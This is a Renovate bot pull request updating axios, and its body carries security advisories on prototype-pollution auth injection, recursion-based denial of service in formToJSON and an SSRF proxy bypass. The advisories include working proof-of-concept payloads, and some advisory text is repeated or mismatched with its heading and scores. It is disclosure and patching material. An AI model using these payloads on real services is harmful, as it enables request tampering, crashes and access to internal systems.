Skip to content

Update dependency axios to v1.18.0 [SECURITY]#399

Open
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-axios-vulnerability
Open

Update dependency axios to v1.18.0 [SECURITY]#399
renovate[bot] wants to merge 1 commit into
developfrom
renovate/npm-axios-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 20, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
axios (source) 1.16.01.18.0 age confidence

Axios: Prototype pollution auth subfields can inject Basic auth

GHSA-xj6q-8x83-jv6g

More information

Details

Summary

Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.

This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.

Impact

An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.

The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.

This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.

Affected Functionality

Affected functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js.
  • Requests where config.auth is an own object but username and/or password are absent own properties.

Unaffected or not accepted as core impact:

  • Requests with no own auth object after mergeConfig().
  • Requests with own auth.username and auth.password values.
  • Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening.
  • Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.
Technical Details

mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.

In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.

The same pattern exists in lib/helpers/resolveConfig.js:

if (auth) {
  headers.set(
    'Authorization',
    'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
  );
}

The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.

Proof of Concept of Attack

Safe local PoC against published axios@1.16.1:

const http = require('node:http');
const axios = require('axios');

Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';

const server = http.createServer((req, res) => {
  console.log({
    url: req.url,
    authorization: req.headers.authorization || null
  });

  res.end('{}');
  server.close(() => {
    delete Object.prototype.username;
    delete Object.prototype.password;
  });
});

server.listen(0, '127.0.0.1', async () => {
  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
    auth: {}
  });
});

Expected output:

{
  "url": "/api",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

The base64 value decodes to victim-user:victim-password-leaked.

Workarounds

Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.

Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.

Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.

Original Report
Summary

After GHSA-q8qp-cvcw-x6jj / PR #​10779 (shipped in v1.15.2) and the further proxy-side hardening in
PR #​10833 (merged 2026-05-02), the top-level config.auth and the proxy authsub-fields are correctly read via utils.hasOwnProp. The regular request auth sub-fields (config.auth.username and config.auth.password) and the config.params / config.paramsSerializer reads inside resolveConfig.js are still unguarded against a polluted Object.prototype.

When a polluted host process makes an axios call with the common "optional override" pattern (auth: opts.auth || {} — an empty own {}), the sub-field reads configAuth.username and configAuth.password walk the prototype chain and return the attacker-controlled values. Same for params and paramsSerializer. The outbound HTTP request then carries an attacker-chosen Authorization: Basic <base64> header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains).

Reproduces against axios main HEAD (34723be, dated 2026-05-24)
as well as the released v1.16.1.

Details

Three still-unguarded read sites on main HEAD:

(1) lib/adapters/http.js lines 737–740 (Node http adapter):

const configAuth = own('auth');         // ← top-level guard OK
if (configAuth) {
    const username = configAuth.username || '';   // ← reads .username on the inherited chain
    const password = configAuth.password || '';   // ← reads .password on the inherited chain
    auth = username + ':' + password;
}

own('auth') correctly applies hasOwnProp to the top-level auth
key. But once configAuth is the empty object the caller passed
(auth: {}), configAuth.username walks the prototype chain and
picks up Object.prototype.username.

Contrast with the proxy-auth path that PR #​10833 fixed (lines 322–324):

const authUsername =
    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;

This is the exact pattern needed at lines 739–740 too.

(2) lib/helpers/resolveConfig.js lines 50 + 68 (xhr/fetch adapter shared resolver):

const auth = own('auth');               // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
//   ^ .username and .password read directly on `auth`, no hasOwnProp guard

Same shape — top-level guarded, sub-fields walk prototype.

(3) lib/helpers/resolveConfig.js lines 58–59 (params + paramsSerializer):

newConfig.url = buildURL(
    buildFullPath(baseURL, url, allowAbsoluteUrls),
    config.params,            // ← direct read, not through own()
    config.paramsSerializer   // ← direct read, not through own()
);

This third site is already proposed for fix in open PR #​10922 by @​Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's own('params') / own('paramsSerializer') change is exactly correct; this report flags the auth sub-field sites that PR #​10922 does not cover.

PoC

This PoC contains zero direct Object.prototype.x = y writes. The
pollution flows entirely from attacker-shaped JSON through a real
deep-merge utility (defaults-deep@0.2.4, ~50k weekly downloads,
still walks constructor.prototype). A hand-rolled deep merge —
the canonical insecure backend pattern — exhibits the same pollution
via __proto__ and is more common in real codebases than any named
utility.

#!/usr/bin/env node
'use strict';

const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');

// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
  for (const k of PROTO_KEYS) {
    try { delete Object.prototype[k]; } catch (_) {}
  }
}
scrub();

// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
  "constructor": {
    "prototype": {
      "username": "victim-user",
      "password": "victim-password-leaked",
      "params": {"leak": "ATTACKER_QUERY_TOKEN"}
    }
  }
}`);

// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
//   After this line:
//     Object.prototype.username  === "victim-user"
//     Object.prototype.password  === "victim-password-leaked"
//     Object.prototype.params    === { leak: "ATTACKER_QUERY_TOKEN" }

// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
  console.log('=== captured outbound request ===');
  console.log(JSON.stringify({
    method: req.method,
    url: req.url,
    authorization: req.headers.authorization || null,
  }, null, 2));
  res.end('{}');
  server.close();
  scrub();
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;

  // 4) Realistic application wrapper: optional per-call overrides.
  //    `auth: opts.auth || {}` is the common pattern — empty own object,
  //    but inherited values walk the prototype chain.
  function makeRequest(targetUrl, opts = {}) {
    return axios.get(targetUrl, {
      timeout: 5000,
      auth: opts.auth || {},
      params: opts.params || {},
    });
  }

  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
    console.error('axios error:', e.message);
    scrub();
    process.exit(1);
  });
});

Reproduction:

mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs

Captured output (verified against released 1.16.1 AND against
main at 34723be, 2026-05-24):

{
  "method": "GET",
  "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA== base64-decodes to
victim-user:victim-password-leaked. The querystring carries
?leak=ATTACKER_QUERY_TOKEN, which can be a full data-exfil channel
in real chains (CSRF token, session cookie via req.headers, etc.).

Impact
  • Credential exfiltration via Basic auth header on the outbound
    request. If the request URL is attacker-influenced too (common in
    webhook/oauth-callback patterns), the credentials flow directly to
    the attacker. If not, they flow to the legitimate destination but
    expose victim credentials in any logs / proxies along the path.
  • Outbound request-shape control via inherited params /
    paramsSerializer. With paramsSerializer polluted to an attacker
    function, axios will execute that function with each params
    invocation — same-process code execution from a pollution primitive.
  • Amplifier framing is still correct. The application-side
    precondition is "deep-merges attacker JSON into a config object
    without __proto__/constructor filtering, then uses the empty-
    fallback wrapper auth: opts.auth || {} / params: opts.params || {}."
    Both halves are very common in real codebases (we tested
    defaults-deep, hand-rolled merges, and several lodash-family
    utilities; many still pollute).
  • CWE-1321 (Improperly Controlled Modification of Object Prototype
    Attributes — amplifier sink).
Proposed fix

Two-line change in http.js, matching the proxy-auth pattern PR

#​10833 already established:

--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@&#8203;@&#8203; -737,8 +737,10 @&#8203;@&#8203;
       const configAuth = own('auth');
       if (configAuth) {
-        const username = configAuth.username || '';
-        const password = configAuth.password || '';
+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
         auth = username + ':' + password;
       }

Same pattern in resolveConfig.js:

--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@&#8203;@&#8203; -64,7 +64,11 @&#8203;@&#8203;
   // HTTP basic authentication
   if (auth) {
+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
     headers.set(
       'Authorization',
       'Basic ' +
-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
     );
   }

The params / paramsSerializer half is already handled by open
PR #​10922's own('params') / own('paramsSerializer') change — that
PR should be rebased / merged.

Relationship to recent prototype-pollution work

Same vulnerability class as the existing public hardening, just at
sub-field granularity:

This report adds: regular-request auth.username / auth.password
sub-field reads in both the http adapter (lines 737–740) and
resolveConfig.js (line 68).

Reporter notes
  • Reported as part of a small peer-review bundle of runtime security
    findings. The bundle's public tracking entry (without the working
    exploit chain) is at
    georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md.
  • I'm happy to submit the patch as a PR if that helps. Or, if you'd
    prefer to fold this into open PR #​10922 (whose author is actively
    responding to comments), please let me know and I'll coordinate.
  • Threat model honesty: this is amplifier framing — exploitation
    requires a separate prototype-pollution primitive elsewhere in the
    host process. That's how the existing GHSA-q8qp-cvcw-x6jj and
    PR #​10833 were framed too, so the precedent for "in-scope as a
    hardening fix" is established.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

GHSA-pmv8-rq9r-6j72

More information

Details

Summary

Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json.

If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.

Impact

Applications are affected only when untrusted users can control FormData key names that are converted through axios.

Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json.

The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.

Affected Functionality

Affected functionality:

  • axios.formToJSON(formData)
  • Named ESM export formToJSON
  • Default transformRequest behaviour for FormData when Content-Type contains application/json

Unaffected functionality:

  • Normal multipart FormData submission without JSON serialisation
  • toFormData, which already enforces a maxDepth guard
  • Axios versions <=0.27.2, where formDataToJSON was not present
Technical Details

The vulnerable code is in lib/helpers/formDataToJSON.js.

parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth:

const result = buildPath(path, value, target[name], index);

A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.

Relevant source locations:

  • lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath().
  • lib/axios.js exposes the helper as axios.formToJSON.
  • index.js exposes formToJSON as a named export.
  • index.d.ts and index.d.cts declare the public API.
  • lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData.

The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard.

Proof of Concept of Attack
import axios from 'axios';

const fd = new FormData();
fd.append('a' + '[x]'.repeat(15000), 'value');

try {
  axios.formToJSON(fd);
  console.log('not vulnerable');
} catch (e) {
  console.log(`${e.constructor.name}: ${e.message}`);
}

Expected result on affected versions:

RangeError: Maximum call stack size exceeded

The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json.

Workarounds

Applications can reject or normalise untrusted form field names before calling axios.formToJSON().

Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required.

Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData.

Original Source
Summary

An uncontrolled recursion vulnerability in formDataToJSON allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like a[x][x][x]... with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable RangeError. The inverse function toFormData already enforces a maxDepth limit (default 100) for exactly this reason — formDataToJSON lacks the equivalent guard.

Details

Vulnerable function: buildPath in lib/helpers/formDataToJSON.js, lines 50–82.

buildPath(path, value, target, index) is called recursively — once per segment in the parsed property path — with no depth check:

// lib/helpers/formDataToJSON.js, lines 50–82
function buildPath(path, value, target, index) {
  let name = path[index++];              // advance one level
  if (name === '__proto__') return true;
  // ...
  if (!isLast) {
    // ...
    const result = buildPath(path, value, target[name], index);  // recurse — NO depth guard
    // ...
  }
}

The key is first split into segments by parsePropPath (line 17), which extracts every [segment] via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).

formDataToJSON is a public API consumed two ways:

  1. Directly by consumers — exported as axios.formToJSON() (lib/axios.js:80), with TypeScript declarations in both index.d.ts:699 and index.d.cts:708, and documented in the API reference in four languages (docs/pages/advanced/api-reference.md).

  2. Internally by transformRequest — called at lib/defaults/index.js:56 when the request body is FormData and Content-Type contains application/json:

    return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;

Contrast with toFormData: The inverse function (lib/helpers/toFormData.js:118) enforces maxDepth (default 100) and throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED when exceeded. formDataToJSON has no equivalent protection.

PoC

Requires only Node.js and an unmodified axios v1.x install:

import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';

// Build a FormData with a single key containing 15,000 nested bracket segments
const fd = new FormData();
const key = "a" + "[x]".repeat(15000);
fd.append(key, "value");

try {
  formDataToJSON(fd);
  console.log("Not vulnerable");
} catch (e) {
  console.log(e.constructor.name + ": " + e.message);
  // RangeError: Maximum call stack size exceeded
}

Verified output on Node.js 22.22.3 against axios v1.16.1 (current v1.x HEAD):

RangeError: Maximum call stack size exceeded

The process crashes. In a server context (e.g., Express middleware calling axios.formToJSON() on an uploaded form), a single crafted request terminates the process.

Impact

Denial of Service (process crash). Any unauthenticated user who can submit FormData to a Node.js application that passes it through axios.formToJSON() — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The RangeError from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Excessive recursion in formDataToJSON can cause denial of service

GHSA-42h9-826w-cgv3

More information

Details

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths:

  • axios.formToJSON(formData)
  • import { formToJSON } from "axios"
  • lib/helpers/formDataToJSON.js
  • axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths:

  • Normal multipart FormData requests without JSON Content-Type
  • toFormData() object-to-FormData serialisation, which already has a maxDepth guard
  • Axios versions before 0.28.0, where this helper and public API were not present
Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack
import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.

For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().

Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.

Original Report
Axios SSRF via Incomplete Loopback Detection
CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

1. Classification
CWE CVSS Score Severity Type
CWE-918 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) HIGH Server-Side Request Forgery
2. Description
Summary

The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.

Root Cause

File: lib/helpers/shouldBypassProxy.js

isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface.

isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised.

Attack Flow:

isIPv4Loopback (line 3) — fails for 0.0.0.0
  → isLoopback (line 44) — wraps both checks, returns false
    → shouldBypassProxy (line 127) — PUBLIC API, exported default
      → lib/adapters/http.js (line 190) — Node.js HTTP adapter
Attack Vector
  • Access Vector: Network (AV:N)
  • Access Complexity: Low (AC:L) — attacker only needs control of a URL
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
3. Proof of Concept
Phase 1: Logic Verification
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/');  // → true

// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF
shouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF
Phase 2: Docker E2E Reproduction

A full 3-container Docker reproduction was created and tested:

  • Proxy container: Simple HTTP forward proxy on port 8888
  • Internal container: Internal service on port 9999 (simulates sensitive internal resource)
  • Attacker container: Runs the test script with Axios source mounted

Reproduction steps:

cd /tmp/deep-e2e
docker compose up -d
docker compose exec attacker node test-ssrf.js

Results:

  • Test 1: 127.0.0.1 + NO_PROXY=localhost → BYPASS (correct)
  • Test 2: 0.0.0.0 + NO_PROXY=localhost → VIA_PROXY (SSRF)
  • Test 3: [::] + NO_PROXY=localhost → VIA_PROXY (SSRF)
  • Test 4: [::ffff:0.0.0.0] + NO_PROXY=localhost → VIA_PROXY (SSRF)
Phase 3: Actual Axios Client

The real Axios HTTP client (v1.16.1, source tree) was tested through proxy configuration:

  • Axios with proxy: { host: 'proxy', port: 8888 }
  • Setting NO_PROXY=localhost and requesting http://0.0.0.0:9999/
  • Result: Axios forwarded the request through the proxy instead of bypassing it
4. Impact
Attack Scenario
  1. Attacker has control over a URL that an Axios client will request (direct input, redirect target, open redirect chain)
  2. The Axios client is configured with a proxy (e.g., corporate proxy) and NO_PROXY=localhost to protect internal services
  3. Attacker supplies http://0.0.0.0:8080/admin as the target URL
  4. Axios sends the request through the proxy
  5. The proxy resolves 0.0.0.0 → the proxy's own loopback → reaches the internal admin service on port 8080
Potential Consequences
  • Information disclosure (C:L): Internal service responses become accessible
  • Integrity impact (I:L): Attacker can trigger actions on internal services (if proxy supports PUT/POST/DELETE)
  • Availability impact (A:L): Limited — depends on internal service behavior
Likelihood
  • High — proxy bypass is a common pattern in microservice architectures
  • Medium — requires attacker control of a URL (not always available)
5. Remediation
Code Fix

File: lib/helpers/shouldBypassProxy.js

function isIPv4Loopback(host) {
  if (host === '0.0.0.0') return true;  // ADD THIS LINE
  const parts = host.split('.');
  if (parts.length !== 4) return false;
  if (parts[0] !== '127') return false;
  return parts.every(p => /^\d+$/.test(p) && Number(p) >= 0 && Number(p) <= 255);
}

function isIPv6Loopback(host) {
  if (host === '::1' || host === '::') return true;  // ADD '::'
  // ... rest of implementation
}
Workarounds
  • Add 0.0.0.0 and :: to the NO_PROXY environment variable explicitly
  • Use 127.0.0.1 instead of 0.0.0.0 in all internal service URLs
  • Implement URL validation to reject 0.0.0.0 and :: before passing to Axios

Severity

  • CVSS Score: 6.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Excessive recursion in formDataToJSON can cause denial of service

GHSA-42h9-826w-cgv3

More information

Details

Summary

Axios versions 0.28.0 and later contain uncontrolled recursion in formDataToJSON, the helper behind the public axios.formToJSON() / named formToJSON API and the default request transform used when FormData is sent with an application/json content type.

Applications are affected when they pass attacker-controlled FormData field names into this functionality. A field name with thousands of nested bracket segments can exhaust the JavaScript call stack and throw RangeError: Maximum call stack size exceeded, causing request failure and, in applications that do not handle the exception or rejected promise, possible process termination.

Impact

The impact is denial of service against applications that process untrusted FormData field names through axios' FormData-to-JSON conversion.

The vulnerable path is not reached by merely installing axios, by normal multipart FormData pass-through, or by ordinary axios requests that do not request JSON serialisation of FormData. In the default axios request, the error is produced before network I/O and returned as a rejected Promise. Direct use of formToJSON() throws synchronously.

Server-side applications are the primary risk when remote users can submit arbitrary form field names, and the application converts those fields with formToJSON() or sends them through axios as JSON.

Affected Functionality

Affected APIs and paths:

  • axios.formToJSON(formData)
  • import { formToJSON } from "axios"
  • lib/helpers/formDataToJSON.js
  • axios default transformRequest when data is FormData and Content-Type contains application/json

Unaffected or lower-risk paths:

  • Normal multipart FormData requests without JSON Content-Type
  • toFormData() object-to-FormData serialisation, which already has a maxDepth guard
  • Axios versions before 0.28.0, where this helper and public API were not present
Technical Details

lib/helpers/formDataToJSON.js parses a form field name into path segments with parsePropPath(). For a key such as a[x][x][x], each bracketed segment becomes another path element.

formDataToJSON() then calls the nested buildPath(path, value, target, index) function. buildPath() recursively calls itself once for each path segment and does not enforce a maximum depth:

const result = buildPath(path, value, target[name], index);

A key containing thousands of bracket segments, therefore, creates thousands of recursive calls. At sufficient depth, V8 throws RangeError: Maximum call stack size exceeded.

Axios already applies a depth guard to the inverse serializer in lib/helpers/toFormData.js, where maxDepth defaults to 100 and exceeding it throws AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. formDataToJSON() does not currently have equivalent protection.

Proof of Concept of Attack
import { formToJSON } from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

try {
  formToJSON(fd);
  console.log("not vulnerable");
} catch (err) {
  console.log(`${err.constructor.name}: ${err.message}`);
}

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

The axios request transform path can also be reached before network I/O:

import axios from "axios";

const fd = new FormData();
fd.append("a" + "[x]".repeat(15000), "value");

await axios
  .post("http://127.0.0.1:1/", fd, {
    headers: { "Content-Type": "application/json" }
  })
  .catch((err) => console.log(`${err.constructor.name}: ${err.message}`));

Expected vulnerable result:

RangeError: Maximum call stack size exceeded

Workarounds

Applications can avoid the vulnerable path by not converting attacker-controlled FormData to JSON with axios.

If conversion is required before a fixed axios release is available, validate FormData field names before calling formToJSON() or before sending FormData with Content-Type: application/json. Reject keys whose parsed nesting depth exceeds the application's expected schema.

For axios requests carrying untrusted FormData, avoid setting Content-Type: application/json; leaving the data as multipart FormData bypasses formDataToJSON().

Catching the resulting error can prevent process termination, but it does not remove the uncontrolled-recursion behaviour and should not be treated as the primary mitigation.

Original Report
Axios SSRF via Incomplete Loopback Detection
CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

1. Classification
CWE CVSS Score Severity Type
CWE-918 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) HIGH Server-Side Request Forgery
2. Description
Summary

The shouldBypassProxy() function in Axios fails to recognise 0.0.0.0, ::, and ::ffff:0.0.0.0 as loopback addresses. When NO_PROXY=localhost is configured, requests to these addresses are incorrectly forwarded through the proxy instead of being sent directly, enabling an SSRF attack against internal services reachable via the proxy's loopback interface.

Root Cause

File: lib/helpers/shouldBypassProxy.js

isIPv4Loopback (lines 3-8): Only checks for 127.x.x.x addresses by inspecting parts[0] !== '127'. The 0.0.0.0 address has parts[0] === '0', so it falls through as non-loopback, even though on Linux 0.0.0.0 routes to the loopback interface.

isIPv6Loopback (lines 10-38): Only checks host === '::1'. The :: address (unspecified IPv6) also routes to the loopback, but is not recognised.

Attack Flow:

isIPv4Loopback (line 3) — fails for 0.0.0.0
  → isLoopback (line 44) — wraps both checks, returns false
    → shouldBypassProxy (line 127) — PUBLIC API, exported default
      → lib/adapters/http.js (line 190) — Node.js HTTP adapter
Attack Vector
  • Access Vector: Network (AV:N)
  • Access Complexity: Low (AC:L) — attacker only needs control of a URL
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
3. Proof of Concept
Phase 1: Logic Verification
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

// Normal loopback — correctly returns true (bypasses proxy)
shouldBypassProxy('http://127.0.0.1:9999/');  // → true

// Vulnerable — returns false (goes through proxy!)
shouldBypassProxy('http://0.0.0.0:9999/');    // → false  ← SSRF
shouldBypassProxy('http://[::]:9999/');        // → false  ← SSRF
shouldBypassProxy('http://[::ffff:0.0.0.0]:9999/'); // → false ← SSRF
Phase 2: Docker E2E Reproduction

A full 3-container Docker reproduction was created and tested:

  • Proxy container: Simple HTTP forward proxy on port 8888
  • Internal container: Internal service on port 9999 (simulates sensitive internal resource)
